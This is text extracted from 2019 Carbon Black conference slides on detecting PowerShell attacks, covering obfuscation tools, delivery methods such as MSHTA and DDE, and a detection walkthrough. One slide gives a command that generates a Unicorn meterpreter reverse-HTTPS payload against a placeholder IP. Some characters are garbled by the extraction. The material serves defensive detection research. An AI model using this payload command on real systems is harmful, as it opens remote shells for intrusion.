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Threat Analysis Unit (TAU)

ÅApplied Research Team Mission: Investigate and research new TTPs to 
make sure that our customers are protected. Lead 3rd party testing and 
other security efficacy projects.

ÅReverse Engineer malware

ÅTrack botnets and automate malware sample extraction

ÅEvaluate and remediate product bypasses

ÅBuild and maintain threat detection queries

ÅEtcΧ
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Detection Engineering

ÅLeverage available datasets to build high-fidelity indicators of threat actor 
activity.

ÅQueries can be used for hunting / alerting / enrichment

ÅFocus on speed and accuracy

ÅTest > Validate > Document > Refine > Repeat

ÅDefine scoring and feed placement by Risk

ÅRelease!



I    © 2019 Carbon Black. All Rights Reserved. 5

T1086 - PowerShell

ÅWhy not alert on all PowerShell external network connections?

ÅEncoded commands are always malicious, right?

ÅOk ςbut what about hits to github / pastebin?

Å/ŀƴΩǘ ǿŜ ŘŜǘŜŎǘ ōŀǎŜŘ ƻƴ ŎƻƳƳŀƴŘ ǎǘǊƛƴƎǎ ŀƴŘ modloads?
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Traditional Threat Lists for PowerShell
Keying off of specific parameters / cmdlets / functions

https:// gist.github.com/gfoss/2b39d680badd2cad9d82
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Traditional Threat Lists for PowerShell are Useless

Obfuscation is consistently improving around subverting common 
PowerShell attack detection rules. Easy to catch basic attacks, not advanced 
adversaries.
īInvoke-Obfuscation, Invoke-Cradlecrafter, Unicorn, etcΧ

Alternative Detection Methods are Needed
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Many ways to deliver PowerShell payloads

ÅSome favorites ςMSHTA and Office Document DDE 
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Example Detection Walkthrough - Unicorn

Åhttps:// github.com/trustedsec/unicorn
īDave Kennedy (@HackingDave) 
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Generate a basic payload

# python unicorn.pywindows/meterpreter/ reverse_httpsxxx.xxx.xxx.xxx443
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Execute the Attack and Gather Telemetry

ÅInvestigate activities observed in your security stack

ÅFocus on
keeping it
ǊŜŀƭƛǎǘƛŎΧ

ÅAvoid too 
much post
exploitation
unless that
is in scope


